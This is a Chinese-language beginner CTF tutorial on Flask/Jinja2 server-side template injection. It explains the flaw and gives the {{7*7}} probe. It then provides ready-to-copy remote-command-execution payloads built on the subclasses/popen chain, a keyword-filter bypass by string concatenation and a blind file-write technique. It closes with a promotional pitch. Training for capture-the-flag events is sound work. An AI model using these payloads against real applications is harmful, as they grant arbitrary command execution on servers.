一、什么是 SSTI 模板注入?(通俗零基础理解)
首先搞懂两个核心概念,彻底杜绝新手混淆:
1、什么是模板引擎?
Python Web(Flask/Jinja2、Django、Tornado)为了快速搭建网页,使用「模板引擎」渲染前端页面,支持在页面中写入 {{ 表达式 }} 执行代码、输出变量。
简单说:浏览器能通过 {{ }} 让服务器执行代码,这是模板引擎的原生特性。
2、什么是 SSTI 漏洞?
如果页面直接接收用户输入、未做过滤,将用户传入的 {{xxx}} 内容直接交给模板引擎渲染,攻击者即可构造特殊模板语句,读取源码、执行系统命令、读取 Flag、获取服务器权限,这就是 服务端模板注入(SSTI)。
核心区别:和 PHP 漏洞最大不同
1、PHP 漏洞大多是逻辑绕过、文件包含、类型转换;
2、SSTI 是代码执行类漏洞,优先级更高、危害更大、赛场出分更快;
3、完全不依赖 PHP 特性,纯 Python 模板机制考点,全新解题思维。
二、CTF 必考:SSTI 漏洞识别方法(一秒判断题型)
新手做题第一步:先判断是不是 SSTI 题目,不用看源码,直接手工测试!
1、通用测试语句(赛场万能探针)
传入参数:?name={{7*7}}
页面返回 49 → 实锤 SSTI 漏洞
原理:服务器解析并执行了乘法表达式,说明模板引擎可控,存在注入漏洞。
2、题型特征(看到直接秒判 SSTI)
1、页面存在 name、msg、content、user、text 等可控回显参数;
2、输入 {{7*7}} 会被解析运算,而非原样输出;
3、页面底部出现 Flask、Jinja2、Python 版本信息;
4、提示「模板渲染失败」「模板语法错误」。
三、Flask SSTI 核心原理(入门必懂)
CTF 99% 的 Python SSTI 题目,全部基于Jinja2 模板引擎,固定语法:
{{ 变量/表达式/函数 }} → 执行并输出结果
{% 语句 %} → 执行逻辑,无回显
新手核心认知
Jinja2 模板中,一切皆对象。我们可以通过层层遍历内置类、魔法方法,调用系统函数,实现任意文件读取、任意命令执行。
不用深究底层原理,记住:{{ 可执行所有Python表达式 }} 就是解题核心。
四、零基础通用 SSTI 万能 Payload(入门赛通杀)
这里给大家整理 CTF 新生赛、校赛专用无过滤 Payload,直接复制即可拿 Flag,适配 90% 入门题。
1、基础读取 Flag 文件(最常用)
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
2、Windows 系统命令执行
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('dir').read()}}
3、读取当前目录文件
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
Payload 通俗解析(新手看懂即可)
1、__class__:获取对象所属类;
2、__bases__:获取父类;
3、__subclasses__:获取所有子类;
4、遍历找到可执行系统命令的 popen 类;
5、调用 popen 执行命令、读取返回结果,输出 Flag。
五、CTF 经典真题逐题拆解(Python SSTI 专属题型)
题型1:无过滤基础 SSTI 签到题
题目场景
页面存在参数?msg=,输入内容直接回显在页面,无任何过滤。
解题步骤
1、漏洞探测:访问?msg={{7*7}},页面输出 49,确认 SSTI 漏洞;
2、直接使用万能命令执行 Payload,读取根目录 Flag;
3、最终链接:?msg={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
4、页面直接打印完整 Flag,解题完成。
题型2:简单字符过滤绕过(高频进阶题)
题目限制
过滤了 flag、cat 关键词,无法直接读取 Flag 文件。
解题思路:拼接绕过
利用字符串拼接规避关键词检测,Jinja2 支持字符串拼接特性:
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('c'+'at /fl'+'ag').read()}}
原理:拆分敏感关键词,服务器拼接后正常执行命令,绕过过滤机制。
题型3:回显异常、无直接输出绕过
题目场景
直接执行命令无回显,页面不打印结果。
解题方案:文件写入+访问读取
1、执行命令将结果写入页面目录:touch result.txt && ls > result.txt
2、直接访问当前目录 result.txt,获取命令执行结果与 Flag。
六、赛场 SSTI 标准化解题流程(新手直接套用)
适配所有 Flask 入门 SSTI 题目,无脑按步骤操作即可:
第一步:漏洞探测
传入 {{7*7}},返回49则确认SSTI漏洞;
第二步:判断过滤强度
无过滤 → 直接使用万能 Payload;存在关键词过滤 → 字符串拼接绕过;
第三步:优先读取 Flag
Linux 用 cat /flag,Windows 用 type flag.txt;
第四步:无回显则落地文件读取
命令写入本地文件,直接访问获取结果。
七、新手高频避坑指南(赛场必看)
1、区分 XSS 和 SSTI
XSS 是前端执行 JS,SSTI 是服务端执行代码,{{7*7}} 解析运算一定是 SSTI,绝非 XSS;
2、不要沿用 PHP 解题思维
无弱类型、无文件包含、无伪协议,核心是对象遍历+命令执行;
3、子类序号偏差问题
不同 Python 版本子类序号略有差异,132失效可尝试 129、130、135 通用序号;
4、禁止使用复杂特殊字符
入门赛环境过滤少,优先使用基础 Payload,避免多余符号导致拦截。
八、课后实操练习(本期专属 Python SSTI)
练习1(基础无过滤 SSTI)
题目场景:Flask 页面存在可控参数 ?text=,输入内容直接渲染回显。
要求:构造 Payload 执行系统命令,读取根目录 Flag。
练习2(关键词过滤绕过)
题目场景:过滤了 cat、flag 敏感词,存在 SSTI 漏洞。
要求:通过字符串拼接绕过过滤,成功获取 Flag。
文末学习福利
如果你也是零基础、想参加CTF比赛但不知道从哪开始,可以点击文末阅读原文领取200节攻防教程,帮你少走弯路。后续我会持续更新网安实战、就业、副业相关干货,关注我,带你从零基础一步步靠网安变现。
九、下期预告(第六期全新赛道)
本期我们彻底脱离 PHP 体系,拿下了CTF Python Web 核心考点——SSTI模板注入!
CTF比赛入门第六期我们将开启 Web 最后一大核心漏洞:XSS跨站脚本攻击入门。
精讲:反射型/存储型 XSS 区别、基础弹窗 Payload、过滤绕过、Cookie 窃取、赛场出题套路,补齐 CTF Web 三大巨头漏洞!